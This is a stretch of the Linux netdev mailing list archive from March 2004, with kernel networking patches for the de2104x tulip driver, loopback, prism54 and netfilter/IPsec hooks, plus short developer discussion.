Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com CC: Krzysztof Halasa , lars.vahlenberg@mandator.com, Geert Uytterhoeven , Rask Ingemann Lambertsen Subject: [PATCH] old-tulip 2104x update References: In-Reply-To: Content-Type: multipart/mixed; boundary="------------050606010309090506060401" X-archive-position: 4088 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 22662 Lines: 425 This is a multi-part message in MIME format. --------------050606010309090506060401 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Here's a patch versus 2.6 upstream, and also the complete driver if that's easier. Anybody wanna give it a test? And Rask, don't you have some other patches? Jeff --------------050606010309090506060401 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/drivers/net/tulip/de2104x.c b/drivers/net/tulip/de2104x.c --- a/drivers/net/tulip/de2104x.c Wed Mar 17 14:33:43 2004 +++ b/drivers/net/tulip/de2104x.c Wed Mar 17 14:33:43 2004 @@ -28,8 +28,8 @@ */ #define DRV_NAME "de2104x" -#define DRV_VERSION "0.6" -#define DRV_RELDATE "Sep 1, 2003" +#define DRV_VERSION "0.7" +#define DRV_RELDATE "Mar 17, 2004" #include #include @@ -303,7 +303,6 @@ struct net_device_stats net_stats; struct pci_dev *pdev; - u32 macmode; u16 setup_frame[DE_SETUP_FRAME_WORDS]; @@ -732,7 +731,7 @@ struct de_desc *txd; struct de_desc *dummy_txd = NULL; - macmode = de->macmode & ~(AcceptAllMulticast | AcceptAllPhys); + macmode = dr32(MacMode) & ~(AcceptAllMulticast | AcceptAllPhys); if (dev->flags & IFF_PROMISC) { /* Set promiscuous. */ macmode |= AcceptAllMulticast | AcceptAllPhys; @@ -805,10 +804,8 @@ dw32(TxPoll, NormalTxPoll); out: - if (macmode != de->macmode) { - dw32 (MacMode, macmode); - de->macmode = macmode; - } + if (macmode != dr32(MacMode)) + dw32(MacMode, macmode); } static void de_set_rx_mode (struct net_device *dev) @@ -923,6 +920,7 @@ static void de_set_media (struct de_private *de) { unsigned media = de->media_type; + u32 macmode = dr32(MacMode); if (de_is_running(de)) BUG(); @@ -940,9 +938,9 @@ mdelay(10); if (media == DE_MEDIA_TP_FD) - de->macmode |= FullDuplex; + macmode |= FullDuplex; else - de->macmode &= ~FullDuplex; + macmode &= ~FullDuplex; if (netif_msg_link(de)) { printk(KERN_INFO "%s: set link %s\n" @@ -951,9 +949,11 @@ de->dev->name, media_name[media], de->dev->name, dr32(MacMode), dr32(SIAStatus), dr32(CSR13), dr32(CSR14), dr32(CSR15), - de->dev->name, de->macmode, de->media[media].csr13, + de->dev->name, macmode, de->media[media].csr13, de->media[media].csr14, de->media[media].csr15); } + if (macmode != dr32(MacMode)) + dw32(MacMode, macmode); } static void de_next_media (struct de_private *de, u32 *media, @@ -1173,18 +1173,18 @@ u32 status, tmp; /* - * Reset MAC. Copied from de4x5.c. + * Reset MAC. de4x5.c and tulip.c examined for "advice" + * in this area. */ - tmp = dr32 (BusMode); - if (tmp == 0xffffffff) - return -ENODEV; - mdelay (1); + if (dr32(BusMode) == 0xffffffff) + return -EBUSY; - dw32 (BusMode, tmp | CmdReset); + /* Reset the chip, holding bit 0 set at least 50 PCI cycles. */ + dw32 (BusMode, CmdReset); mdelay (1); - dw32 (BusMode, tmp); + dw32 (BusMode, de_bus_mode); mdelay (1); for (tmp = 0; tmp < 5; tmp++) { @@ -1235,11 +1235,12 @@ static int de_init_hw (struct de_private *de) { struct net_device *dev = de->dev; + u32 macmode; int rc; de_adapter_wake(de); - de->macmode = dr32(MacMode) & ~MacModeClear; + macmode = dr32(MacMode) & ~MacModeClear; rc = de_reset_mac(de); if (rc) @@ -1250,7 +1251,7 @@ dw32(RxRingAddr, de->ring_dma); dw32(TxRingAddr, de->ring_dma + (sizeof(struct de_desc) * DE_RX_RING_SIZE)); - dw32(MacMode, RxTx | de->macmode); + dw32(MacMode, RxTx | macmode); dr32(RxMissed); /* self-clearing */ @@ -1501,7 +1502,7 @@ break; } - if (de->macmode & FullDuplex) + if (dr32(MacMode) & FullDuplex) ecmd->duplex = DUPLEX_FULL; else ecmd->duplex = DUPLEX_HALF; --------------050606010309090506060401 Content-Type: application/x-bzip2; name="de2104x.c.bz2" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="de2104x.c.bz2" QlpoOTFBWSZTWdR+0coAHGRfgGwwe/////////6/////YEccqIAAAe+++Qfd84FKl3ufe8+v b3NfY+ZxVGQyHbnddSCT0b7OYfbd77We4GgSjwz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090506060401-- From brazilnut@us.ibm.com Wed Mar 17 17:07:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 17:07:33 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2I17OKO003340 for ; Wed, 17 Mar 2004 17:07:31 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2I17I0Y713644; Wed, 17 Mar 2004 20:07:18 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2I17HYG382288; Wed, 17 Mar 2004 18:07:18 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i2I15Mt04579; Wed, 17 Mar 2004 17:05:22 -0800 From: Don Fry Message-Id: <200403180105.i2I15Mt04579@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.6.5-rc1-bk2 loopback.c To: jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 17 Mar 2004 17:05:22 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4090 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 665 Lines: 21 Please apply this fix to backout an erroneous change in loopback.c The statistics structure is allocated separately from the loopback_dev structure, and the current code overwrites something other than the statistics. In my case the scsi_cmd_pool structure. --- linux-2.6.5-rc1-bk2/drivers/net/orig.loopback.c Wed Mar 17 08:52:52 2004 +++ linux-2.6.5-rc1-bk2/drivers/net/loopback.c Wed Mar 17 16:46:40 2004 @@ -123,7 +123,7 @@ */ static int loopback_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_device_stats *stats = netdev_priv(dev); + struct net_device_stats *stats = dev->priv; skb_orphan(skb); -- Don Fry brazilnut@us.ibm.com From jgarzik@pobox.com Wed Mar 17 17:14:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 17:14:07 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2I1E4KO003827 for ; Wed, 17 Mar 2004 17:14:04 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B3m6k-0006UT-IQ; Thu, 18 Mar 2004 01:14:02 +0000 Message-ID: <4058F7CC.1010608@pobox.com> Date: Wed, 17 Mar 2004 20:13:48 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.5-rc1-bk2 loopback.c References: <200403180105.i2I15Mt04579@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403180105.i2I15Mt04579@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4091 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 18 Lines: 3 applied, thanks From akpm@osdl.org Wed Mar 17 19:17:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 19:17:34 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2I3HTKO007012 for ; Wed, 17 Mar 2004 19:17:29 -0800 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i2I3H9E28537; Wed, 17 Mar 2004 19:17:10 -0800 Date: Wed, 17 Mar 2004 19:17:16 -0800 From: Andrew Morton To: "David S. Miller" Cc: ak@suse.de, shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040317191716.460836b0.akpm@osdl.org> In-Reply-To: <20040316175052.556d5c22.davem@redhat.com> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040317000048.10d9f52c.ak@suse.de> <20040316175052.556d5c22.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4092 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 799 Lines: 21 "David S. Miller" wrote: > > On Wed, 17 Mar 2004 00:00:48 +0100 > Andi Kleen wrote: > > > iirc there was a 2.4 port of NistNet. Porting it to 2.6 is probably > > not that much work. > > nistnet works, but even akpm remembers it as pretty grotty, who knows > maybe the most recent 2.4.x variant was much better, but I doubt it. whaddya mean "even"? I wrote a userspace thingy many moons ago which provides variable delays and bandwidth restriction. It's for simulating long, thin pipes. It uses the tap/tun interface to route packets up to userspace where the delay/throttling is implemented. It requires weird policy routing rules, but there are scripts there which set everything up. http://www.zipworld.com.au/~akpm/linux/patches/stuff/packet-delay.tar.gz From mcgrof@studorgs.rutgers.edu Wed Mar 17 22:07:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Mar 2004 22:07:32 -0800 (PST) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2I67JKO014420 for ; Wed, 17 Mar 2004 22:07:21 -0800 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id AA58BF9D4B; Thu, 18 Mar 2004 01:07:18 -0500 (EST) Date: Thu, 18 Mar 2004 01:07:18 -0500 From: "Luis R. Rodriguez" To: Jeff Garzik Cc: "Luis R. Rodriguez" , netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [PATCH] prism54 tree sync update Message-ID: <20040318060718.GE19391@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , "Luis R. Rodriguez" , netdev@oss.sgi.com, prism54-devel@prism54.org References: <20040317063659.GC24063@ruslug.rutgers.edu> <40581F1D.5090704@pobox.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5I6of5zJg18YgZEa" Content-Disposition: inline In-Reply-To: <40581F1D.5090704@pobox.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 4093 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev Content-Length: 2270 Lines: 76 --5I6of5zJg18YgZEa Content-Type: multipart/mixed; boundary="DocE+STaALJfprDB" Content-Disposition: inline --DocE+STaALJfprDB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Mar 17, 2004 at 04:49:17AM -0500, Jeff Garzik wrote: > Luis R. Rodriguez wrote: > >Attached patch has been well tested. It updates 2.6.5-rc1 prism54 > >sources to our latest work (which had also previously been tested). > >Some additional new kernel updates were integrated as well. >=20 > Applied to 2.6, after splitting up into the two attached patches. >=20 > Please double-check that no changes were missed, and send a patch=20 > incremental to the attachments if so. Jeff, I've checked your patch and two chunks were missing. Attached patch is a di= ff of 2.6.5-rc1-jeff and 2.6.5-rc1-mcgrof which completes the changes. Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --DocE+STaALJfprDB Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=patch-c Content-Transfer-Encoding: quoted-printable diff -Naur linux-2.6.5-rc1-jeff/drivers/net/wireless/prism54/islpci_dev.c l= inux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/islpci_dev.c --- linux-2.6.5-rc1-jeff/drivers/net/wireless/prism54/islpci_dev.c Thu Mar = 18 06:02:50 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/islpci_dev.c Wed Ma= r 17 01:00:42 2004 @@ -577,6 +577,7 @@ if (!(skb =3D dev_alloc_skb(MAX_FRAGMENT_SIZE_RX + 2))) { /* error allocating an sk_buff structure elements */ printk(KERN_ERR "Error allocating skb.\n"); + skb =3D NULL; goto out_free; } /* add the new allocated sk_buff to the buffer array */ @@ -711,7 +712,7 @@ #endif =20 /* allocate a private device structure to the network device */ - priv =3D ndev->priv; + priv =3D netdev_priv(ndev); priv->ndev =3D ndev; priv->pdev =3D pdev; =20 --DocE+STaALJfprDB-- --5I6of5zJg18YgZEa Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAWTyWat1JN+IKUl4RAtXYAJ9QJ3iSTkkJPUaZyhyPmvAzR3MvVACdFZBf eTMTENmfGPlKZ/BvsbpDqaI= =SWis -----END PGP SIGNATURE----- --5I6of5zJg18YgZEa-- From jgarzik@pobox.com Thu Mar 18 06:29:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 06:29:46 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IET8KO016186 for ; Thu, 18 Mar 2004 06:29:29 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B37e4-0001k9-8h; Tue, 16 Mar 2004 06:01:44 +0000 Message-ID: <4056983B.9010609@pobox.com> Date: Tue, 16 Mar 2004 01:01:31 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Luis R. Rodriguez" CC: prism54-devel@prism54.org, netdev , linux-kernel@vger.kernel.org, jgarzik@redhat.com Subject: Re: Prism54 Driver Project Complete References: <20040316055249.GE24063@ruslug.rutgers.edu> In-Reply-To: <20040316055249.GE24063@ruslug.rutgers.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4094 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 628 Lines: 16 There still needs to be a central "maintainer" of prism54, someone who sends patches either directly to me, or via Jean to me (maintainer's choice). Ideally, it is best to funnel patches from everybody through driver-maintainer -> subsystem maintainer -> Marcelo|Andrew|Linus. That only breaks down when the driver or subsystem maintainer is too slow, and doesn't follow the "release early, release often" precept :) Open source is about lack of control, and trusting that community and consensus will produce superior software over the long run... but lack of control doesn't mean lack of organization :) Jeff From kaber@trash.net Thu Mar 18 08:30:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:30:28 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGUPKO031075 for ; Thu, 18 Mar 2004 08:30:25 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40Ps-0005fL-00; Thu, 18 Mar 2004 17:30:44 +0100 Message-ID: <4059CEEC.7070009@trash.net> Date: Thu, 18 Mar 2004 17:31:40 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: [RFC, PATCH 2/5]: netfilter+ipsec - output hooks References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> In-Reply-To: <20040308115858.75cdddca.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------090502070304060205040206" X-archive-position: 4097 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 7749 Lines: 237 This is a multi-part message in MIME format. --------------090502070304060205040206 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch adds new output-hooks. Packets with dst->xfrm != NULL traverse the POST_ROUTING hook before dst_output is called. The transformers mark the packets in the control buffer with a new flag IPSKB_XFRM_TRANSFORMED, these packets then traverse the LOCAL_OUT hook when they hit ip_output. --------------090502070304060205040206 Content-Type: text/x-patch; name="02-output-hooks.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="02-output-hooks.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/18 14:59:24+01:00 kaber@trash.net # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # net/ipv4/xfrm4_tunnel.c # 2004/03/18 14:59:14+01:00 kaber@trash.net +1 -0 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # net/ipv4/ipcomp.c # 2004/03/18 14:59:14+01:00 kaber@trash.net +1 -0 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # net/ipv4/ip_output.c # 2004/03/18 14:59:14+01:00 kaber@trash.net +20 -4 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # net/ipv4/ip_forward.c # 2004/03/18 14:59:14+01:00 kaber@trash.net +2 -1 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # net/ipv4/esp4.c # 2004/03/18 14:59:14+01:00 kaber@trash.net +1 -0 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # net/ipv4/ah4.c # 2004/03/18 14:59:14+01:00 kaber@trash.net +1 -0 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # include/net/ip.h # 2004/03/18 14:59:14+01:00 kaber@trash.net +1 -0 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # # include/linux/netfilter.h # 2004/03/18 14:59:14+01:00 kaber@trash.net +9 -4 # [NETFILTER}: Pass packets to POST_ROUTING hook before encryption and LOCAL_OUT afterwards # diff -Nru a/include/linux/netfilter.h b/include/linux/netfilter.h --- a/include/linux/netfilter.h Thu Mar 18 16:45:22 2004 +++ b/include/linux/netfilter.h Thu Mar 18 16:45:22 2004 @@ -119,12 +119,14 @@ /* This is gross, but inline doesn't cut it for avoiding the function call in fast path: gcc doesn't inline (needs value tracking?). --RR */ #ifdef CONFIG_NETFILTER_DEBUG -#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \ - nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn), INT_MIN) +#define NF_HOOK_COND(pf, hook, skb, indev, outdev, okfn, cond) \ +(!(cond) \ + ? (okfn)(skb) \ + : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn), INT_MIN)) #define NF_HOOK_THRESH nf_hook_slow #else -#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \ -(list_empty(&nf_hooks[(pf)][(hook)]) \ +#define NF_HOOK_COND(pf, hook, skb, indev, outdev, okfn, cond) \ +(!(cond) || list_empty(&nf_hooks[(pf)][(hook)]) \ ? (okfn)(skb) \ : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn), INT_MIN)) #define NF_HOOK_THRESH(pf, hook, skb, indev, outdev, okfn, thresh) \ @@ -132,6 +134,8 @@ ? (okfn)(skb) \ : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn), (thresh))) #endif +#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \ + NF_HOOK_COND((pf), (hook), (skb), (indev), (outdev), (okfn), 1) int nf_hook_slow(int pf, unsigned int hook, struct sk_buff *skb, struct net_device *indev, struct net_device *outdev, @@ -164,6 +168,7 @@ #else /* !CONFIG_NETFILTER */ #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) +#define NF_HOOK_COND NF_HOOK #endif /*CONFIG_NETFILTER*/ #endif /*__KERNEL__*/ diff -Nru a/include/net/ip.h b/include/net/ip.h --- a/include/net/ip.h Thu Mar 18 16:45:22 2004 +++ b/include/net/ip.h Thu Mar 18 16:45:22 2004 @@ -48,6 +48,7 @@ #define IPSKB_TRANSLATED 2 #define IPSKB_FORWARDED 4 #define IPSKB_XFRM_TUNNEL_SIZE 8 +#define IPSKB_XFRM_TRANSFORMED 16 }; struct ipcm_cookie diff -Nru a/net/ipv4/ah4.c b/net/ipv4/ah4.c --- a/net/ipv4/ah4.c Thu Mar 18 16:45:22 2004 +++ b/net/ipv4/ah4.c Thu Mar 18 16:45:22 2004 @@ -145,6 +145,7 @@ err = -EHOSTUNREACH; goto error_nolock; } + IPCB(skb)->flags |= IPSKB_XFRM_TRANSFORMED; return NET_XMIT_BYPASS; error: diff -Nru a/net/ipv4/esp4.c b/net/ipv4/esp4.c --- a/net/ipv4/esp4.c Thu Mar 18 16:45:22 2004 +++ b/net/ipv4/esp4.c Thu Mar 18 16:45:22 2004 @@ -199,6 +199,7 @@ err = -EHOSTUNREACH; goto error_nolock; } + IPCB(skb)->flags |= IPSKB_XFRM_TRANSFORMED; return NET_XMIT_BYPASS; error: diff -Nru a/net/ipv4/ip_forward.c b/net/ipv4/ip_forward.c --- a/net/ipv4/ip_forward.c Thu Mar 18 16:45:22 2004 +++ b/net/ipv4/ip_forward.c Thu Mar 18 16:45:22 2004 @@ -51,7 +51,8 @@ if (unlikely(opt->optlen)) ip_forward_options(skb); - return dst_output(skb); + return NF_HOOK_COND(PF_INET, NF_IP_POST_ROUTING, skb, NULL, + skb->dst->dev, dst_output, skb->dst->xfrm != NULL); } int ip_forward(struct sk_buff *skb) diff -Nru a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c --- a/net/ipv4/ip_output.c Thu Mar 18 16:45:22 2004 +++ b/net/ipv4/ip_output.c Thu Mar 18 16:45:22 2004 @@ -123,6 +123,12 @@ return ttl; } +static inline int ip_dst_output(struct sk_buff *skb) +{ + return NF_HOOK_COND(PF_INET, NF_IP_POST_ROUTING, skb, NULL, + skb->dst->dev, dst_output, skb->dst->xfrm != NULL); +} + /* * Add an ip header to a skbuff and send it out. * @@ -165,7 +171,7 @@ /* Send it out. */ return NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, - dst_output); + ip_dst_output); } static inline int ip_finish_output2(struct sk_buff *skb) @@ -283,7 +289,7 @@ return ip_finish_output(skb); } -int ip_output(struct sk_buff *skb) +static inline int ip_output2(struct sk_buff *skb) { IP_INC_STATS(IpOutRequests); @@ -294,6 +300,16 @@ return ip_finish_output(skb); } +int ip_output(struct sk_buff *skb) +{ + int transformed = IPCB(skb)->flags & IPSKB_XFRM_TRANSFORMED; + + if (transformed) + nf_reset(skb); + return NF_HOOK_COND(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, + skb->dst->dev, ip_output2, transformed); +} + int ip_queue_xmit(struct sk_buff *skb, int ipfragok) { struct sock *sk = skb->sk; @@ -387,7 +403,7 @@ skb->priority = sk->sk_priority; return NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, - dst_output); + ip_dst_output); no_route: IP_INC_STATS(IpOutNoRoutes); @@ -1177,7 +1193,7 @@ /* Netfilter gets whole the not fragmented skb. */ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, - skb->dst->dev, dst_output); + skb->dst->dev, ip_dst_output); if (err) { if (err > 0) err = inet->recverr ? net_xmit_errno(err) : 0; diff -Nru a/net/ipv4/ipcomp.c b/net/ipv4/ipcomp.c --- a/net/ipv4/ipcomp.c Thu Mar 18 16:45:22 2004 +++ b/net/ipv4/ipcomp.c Thu Mar 18 16:45:22 2004 @@ -231,6 +231,7 @@ err = -EHOSTUNREACH; goto error_nolock; } + IPCB(skb)->flags |= IPSKB_XFRM_TRANSFORMED; err = NET_XMIT_BYPASS; out_exit: diff -Nru a/net/ipv4/xfrm4_tunnel.c b/net/ipv4/xfrm4_tunnel.c --- a/net/ipv4/xfrm4_tunnel.c Thu Mar 18 16:45:22 2004 +++ b/net/ipv4/xfrm4_tunnel.c Thu Mar 18 16:45:22 2004 @@ -76,6 +76,7 @@ err = -EHOSTUNREACH; goto error_nolock; } + IPCB(skb)->flags |= IPSKB_XFRM_TRANSFORMED; return NET_XMIT_BYPASS; error_nolock: --------------090502070304060205040206-- From kaber@trash.net Thu Mar 18 08:31:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:31:03 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGV0KO031383 for ; Thu, 18 Mar 2004 08:31:01 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40QR-0005fe-00; Thu, 18 Mar 2004 17:31:19 +0100 Message-ID: <4059CF0E.3050708@trash.net> Date: Thu, 18 Mar 2004 17:32:14 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: [RFC, PATCH 3/5]: netfilter+ipsec - input hooks References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> In-Reply-To: <20040308115858.75cdddca.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------090305020603060809060000" X-archive-position: 4098 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 8728 Lines: 302 This is a multi-part message in MIME format. --------------090305020603060809060000 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch adds new hooks for input, it is the worst of all patches. Packets should traverse PRE_ROUTING+LOCAL_IN before decryption and PRE_ROUTING+LOCAL_IN/FORWARD afterwards. This is tricky because I didn't find an elegant way to determine when decapsulation is done. Currently, packets reposted into the stack don't traverse the hooks at the normal positions but at a later time when we know decapsulation if done: - if a reposted packet has a non-local destination after input routing decapsulation must be done, it then traverses the PRE_ROUTING hook. - otherwise, it continues until ip_local_deliver_finish but also skips the LOCAL_IN hook. All xfrm protocol-handlers are marked with xfrm_prot. If the protocol handler of a packet with a secpath pointer is a non-xfrm-protocol the packet was handled by ipsec and is done now, it traverses the PRE_ROUTING and LOCAL_IN hooks then. This catches packets from both tunnel-mode and transport-mode SAs. Because the hooks are traversed at a later time than usual several not-so-nice things have to be done in the nf_postxfrm_* functions. I don't see a better way currently, but I'm sure you do ;) --------------090305020603060809060000 Content-Type: text/x-patch; name="03-input-hooks.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="03-input-hooks.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/18 16:41:37+01:00 kaber@trash.net # [NETFILTER]: post-ipsec input hooks # # net/ipv4/xfrm4_tunnel.c # 2004/03/18 16:41:31+01:00 kaber@trash.net +1 -0 # [NETFILTER]: post-ipsec input hooks # # net/ipv4/ipcomp.c # 2004/03/18 16:41:31+01:00 kaber@trash.net +1 -0 # [NETFILTER]: post-ipsec input hooks # # net/ipv4/ip_input.c # 2004/03/18 16:41:31+01:00 kaber@trash.net +15 -6 # [NETFILTER]: 